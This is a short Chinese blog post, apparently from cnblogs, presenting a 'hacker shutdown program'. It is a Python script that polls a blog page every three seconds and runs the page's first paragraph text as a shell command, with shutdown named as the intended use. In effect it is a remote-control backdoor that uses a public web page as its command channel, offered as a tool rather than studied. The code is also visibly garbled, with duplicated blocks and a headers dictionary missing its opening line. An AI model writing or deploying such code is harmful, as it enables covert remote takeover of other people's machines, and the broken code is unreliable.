黑客关机程序
import re
import time
import requests
import subprocess
import time
import requests
import subprocess
headers={
'Accept': '*/*',
'Accept-Encoding':' gzip, deflate, br',
'Accept-Language':' zh-CN',
'Cache-Control':' max-age=0',
'Content-Length':' 0',
'Content-Type':' text/plain',
'Host':' www.google-analytics.com',
'Origin':' https://www.cnblogs.com',
'Referer':' https://www.cnblogs.com/',
'User-Agent':' Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763'
}
url='https://www.cnblogs.com/Eric-Z-Hack/p/13877904.html'
'Accept': '*/*',
'Accept-Encoding':' gzip, deflate, br',
'Accept-Language':' zh-CN',
'Cache-Control':' max-age=0',
'Content-Length':' 0',
'Content-Type':' text/plain',
'Host':' www.google-analytics.com',
'Origin':' https://www.cnblogs.com',
'Referer':' https://www.cnblogs.com/',
'User-Agent':' Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763'
}
url='https://www.cnblogs.com/Eric-Z-Hack/p/13877904.html'
while True:
try:
time.sleep(3)
ret=requests.get(url,headers)
if ret.status_code==200:
ret=ret.content.decode('utf-8')
ret=re.search('<p>(.*?)</p>',ret)
if ret.group(1)=='无':
print(ret.group(1))
continue
print(ret.group(1))
print(ret.group(1))#cmd指令字符串
res=subprocess.Popen(ret.group(1),shell=True,
stdout=subprocess.PIPE,#管道与队列差不多
stderr=subprocess.PIPE)#关机
except:
print('有错误')
try:
time.sleep(3)
ret=requests.get(url,headers)
if ret.status_code==200:
ret=ret.content.decode('utf-8')
ret=re.search('<p>(.*?)</p>',ret)
if ret.group(1)=='无':
print(ret.group(1))
continue
print(ret.group(1))
print(ret.group(1))#cmd指令字符串
res=subprocess.Popen(ret.group(1),shell=True,
stdout=subprocess.PIPE,#管道与队列差不多
stderr=subprocess.PIPE)#关机
except:
print('有错误')

浙公网安备 33010602011771号